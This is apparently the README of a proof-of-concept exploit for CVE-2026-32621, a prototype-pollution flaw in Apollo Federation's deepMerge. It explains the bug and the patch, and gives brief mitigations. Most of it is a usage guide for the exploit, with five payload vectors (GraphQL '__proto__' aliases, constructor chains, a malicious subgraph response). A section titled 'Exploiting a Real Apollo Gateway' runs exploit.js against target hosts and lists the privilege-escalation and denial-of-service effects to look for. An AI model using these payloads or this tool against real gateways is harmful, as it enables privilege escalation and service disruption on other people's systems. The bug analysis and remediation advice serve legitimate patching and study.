# CVE-2026-32621 — Apollo Federation Prototype Pollution ## Detailed Description & Usage Guide --- ## Table of Contents 1. [Vulnerability Overview](#vulnerability-overview) 2. [Technical Analysis](#technical-analysis) 3. [Prerequisites](#prerequisites) 4. [Installation](#installation) 5. [Quick Start (Local Demo)](#quick-start-local-demo) 6. [Full End-to-End Exploit](#full-end-to-end-exploit) 7. [Attack Vectors Explained](#attack-vectors-explained) 8. [Testing & Validation](#testing--validation) 9. [Exploiting a Real Apollo Gateway](#exploiting-a-real-apollo-gateway) 10. [Impact & Security Implications](#impact--security-implications) 11. [Mitigation & Remediation](#mitigation--remediation) 12. [Troubleshooting](#troubleshooting) --- ## Vulnerability Overview | Field | Value | |-------|-------| | **CVE ID** | CVE-2026-32621 | | **CVSS Score** | 9.9 Critical | | **CWE** | CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) | | **GHSA** | [GHSA-pfjj-6f4p-rvmh](https://github.com/advisories/GHSA-pfjj-6f4p-rvmh) | | **Affected Package** | `@apollo/query-planner` / `@apollo/gateway` | | **Vulnerable Versions** | < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2 | | **Patched Versions** | 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 | Apollo Federation uses a `deepMerge` function to combine responses from multiple subgraphs during query plan execution. This function does not sanitize keys before accessing `target[key]`. When a source object contains `__proto__` as an own property (which `JSON.parse` creates from subgraph HTTP responses), `Object.keys()` returns it, and `target["__proto__"]` resolves to `Object.prototype` via JavaScript's prototype chain. The merge then writes properties directly onto `Object.prototype`, polluting the global prototype chain for the entire Node.js process. --- ## Technical Analysis ### The Vulnerable Code The vulnerability exists in `deepMerge.ts` (used by both `query-planner-js` and `gateway-js`): ```typescript // VULNERABLE VERSION (pre-patch) export function deepMerge(target: any, source: any): any { if (source === undefined || source === null) return target; for (const key of Object.keys(source)) { if (source[key] === undefined) continue; // BUG: No check for dangerous keys (__proto__, constructor, prototype) // target["__proto__"] resolves to Object.prototype! if (target[key] && isObject(source[key])) { deepMerge(target[key], source[key]); // Recursion into Object.prototype } else { target[key] = source[key]; // Direct write to Object.prototype } } return target; } ``` ### The Fix The patch adds a `defineOwn()` helper that shadows prototype properties with own properties: ```typescript // PATCHED VERSION export function deepMerge(target: any, source: any): any { if (source === undefined || source === null) return target; for (const key of Object.keys(source)) { if (source[key] === undefined) continue; defineOwn(target, key); // <-- THE FIX: shadows __proto__ with own property if (target[key] && isObject(source[key])) { deepMerge(target[key], source[key]); } else { target[key] = source[key]; } } return target; } export function defineOwn(obj: object, prop: PropertyKey) { if (!hasOwn(obj, prop) && prop in obj) { Object.defineProperty(obj, prop, { configurable: true, enumerable: true, value: undefined, writable: true, }); } } ``` ### Why JSON.parse Matters `JSON.parse('{"__proto__":{"polluted":true}}')` creates `__proto__` as an **own property** on the parsed object, not as the actual prototype link. This means: - `Object.keys(obj)` returns `["__proto__"]` - `Object.prototype.hasOwnProperty.call(obj, "__proto__")` returns `true` - But `obj["__proto__"]` still resolves to `Object.prototype` via the prototype chain This is the key insight that makes the exploit work: `JSON.parse` creates own properties that `Object.keys` iterates, but property access still traverses the prototype chain. --- ## Prerequisites - **Node.js** >= 14 (tested on Node.js 18, 20, 22, 25) - **No external dependencies required** — pure Node.js standard library --- ## Installation ```bash # Clone the repository git clone https://github.com/sam00/POCCVE-2026-32621.git cd POCCVE-2026-32621 # No npm install needed — zero dependencies ``` --- ## Quick Start (Local Demo) Run the standalone demonstration that reproduces the exact vulnerable code path: ```bash node exploit.js ``` This demonstrates: 1. `__proto__` pollution via `JSON.parse` source 2. `constructor.prototype` pollution 3. Nested `__proto__` pollution 4. `toString` DoS via prototype pollution 5. Comparison of vulnerable vs patched `deepMerge` Expected output: ``` [Test 1] __proto__ pollution via JSON.parse source VULNERABLE: Object.prototype.polluted_test1 = true PATCHED: Object.prototype.polluted_test1 = undefined [Test 2] constructor.prototype pollution VULNERABLE: Object.prototype.polluted_test2 = true PATCHED: Object.prototype.polluted_test2 = undefined ``` --- ## Full End-to-End Exploit ### Step 1: Start the Vulnerable Gateway ```bash node setup_vulnerable.js 4000 ``` This starts a simulated Apollo Gateway on port 4000 that uses the vulnerable `deepMerge` function to process GraphQL queries. ### Step 2: Run the Exploit In a new terminal: ```bash node exploit.js -u http://localhost:4000/graphql ``` The exploit will: 1. Verify the gateway is reachable 2. Send `__proto__` alias-based payload 3. Send variable-based payload 4. Send nested alias payload 5. Report results ### Step 3: Verify Pollution The gateway will display warnings: ``` [Gateway] WARNING: Object.prototype has been polluted! polluted = true isAdmin = true ``` ### Step 4: Run E2E Validation ```bash node e2e_test.js ``` This automated test: 1. Starts the vulnerable gateway 2. Sends exploit payloads 3. Verifies `Object.prototype` was polluted 4. Confirms pollution persists across requests 5. Runs unit tests 6. Reports pass/fail summary --- ## Attack Vectors Explained ### Vector 1: Field Alias Pollution (Client-Side) A client sends a GraphQL query with `__proto__` as a field alias: ```graphql query { __proto__: products { polluted: id } } ``` When the subgraph processes this, it returns data with `__proto__` as a key. The gateway's `deepMerge` then does: ``` target["__proto__"] → Object.prototype deepMerge(Object.prototype, { polluted: true }) → Object.prototype.polluted = true ``` ### Vector 2: Variable Name Pollution ```graphql query($constructor: String, $__proto__: String) { products @include(if: Boolean($__proto__)) { id } } ``` Variables with prototype-targeting names can pollute when merged into query context. ### Vector 3: Nested Constructor Chain ```graphql query { constructor: products { prototype: id } } ``` This traverses: `target["constructor"]["prototype"]` → `Object.prototype` ### Vector 4: Compromised Subgraph Response A compromised subgraph returns malicious JSON: ```json {"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}} ``` When the gateway merges this via `deepMerge`, `Object.prototype` is polluted without any client-side action. ### Vector 5: Direct deepMerge Exploitation The local demonstration in `exploit.js` reproduces the exact vulnerable code path without needing a running gateway. --- ## Testing & Validation ### Unit Tests (15 tests) ```bash node test_exploit.js ``` Tests cover: - `__proto__` pollution via `JSON.parse` - `constructor.prototype` pollution - Nested `__proto__` pollution - `toString` DoS - Privilege escalation (`isAdmin` injection) - Subgraph response pollution - `JSON.parse` behavior verification - `defineOwn` fix verification - Patched vs vulnerable comparison ### End-to-End Tests (10 tests) ```bash node e2e_test.js ``` Tests cover: - Gateway startup and reachability - Alias-based exploit payload delivery - Gateway pollution confirmation - Cross-request pollution persistence - Constructor-based exploit - Post-pollution query processing - Unit test integration --- ## Exploiting a Real Apollo Gateway ### Prerequisites - Target running Apollo Gateway with vulnerable version (< 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2) - Network access to the gateway's GraphQL endpoint ### Steps ```bash # Basic exploit node exploit.js -u http://target-gateway:4000/graphql # With HTTPS node exploit.js -u https://target-gateway/graphql ``` ### What to Look For After exploitation: - **Privilege escalation**: Any object created after pollution inherits injected properties (`isAdmin`, `role`, etc.) - **DoS**: If `toString` or `valueOf` is overridden, string operations fail - **Behavior changes**: Business logic relying on property checks may be bypassed - **Persistence**: Pollution affects ALL subsequent requests until gateway restart --- ## Impact & Security Implications | Impact | Description | |--------|-------------| | **Privilege Escalation** | Inject `isAdmin`, `role`, `permissions` into all objects | | **Denial of Service** | Override `toString`, `valueOf` with null/broken functions | | **Data Integrity** | Inject properties affecting business logic decisions | | **Cross-Request** | Pollution persists for ALL subsequent requests | | **Process-Wide** | Affects entire Node.js process, not just single request | | **Stealthy** | No error messages; pollution is silent | --- ## Mitigation & Remediation 1. **Upgrade immediately** to patched versions: - `@apollo/gateway` >= 2.9.6, 2.10.5, 2.11.6, 2.12.3, or 2.13.2 - `@apollo/query-planner` >= corresponding patched version 2. **Input filtering** (defense in depth): - Block GraphQL operations containing `__proto__`, `constructor`, `prototype` in field aliases - Block variable names matching prototype properties 3. **Subgraph trust verification**: - Ensure all subgraphs are from trusted sources - Monitor subgraph responses for `__proto__` keys 4. **Use `Object.create(null)`** for merge targets where possible 5. **Runtime detection**: - Monitor for unexpected properties on `Object.prototype` - Log when `__proto__` appears in GraphQL operation text --- ## Troubleshooting | Issue | Solution | |-------|----------| | `ECONNRESET` on exploit | Gateway process may have crashed from pollution; restart and retry | | Port already in use | Use a different port: `node setup_vulnerable.js 4001` | | Tests fail after running exploit | Prototype pollution persists in process; run tests in fresh process | | `JSON.parse` error in gateway | Gateway response includes polluted prototype properties; restart gateway |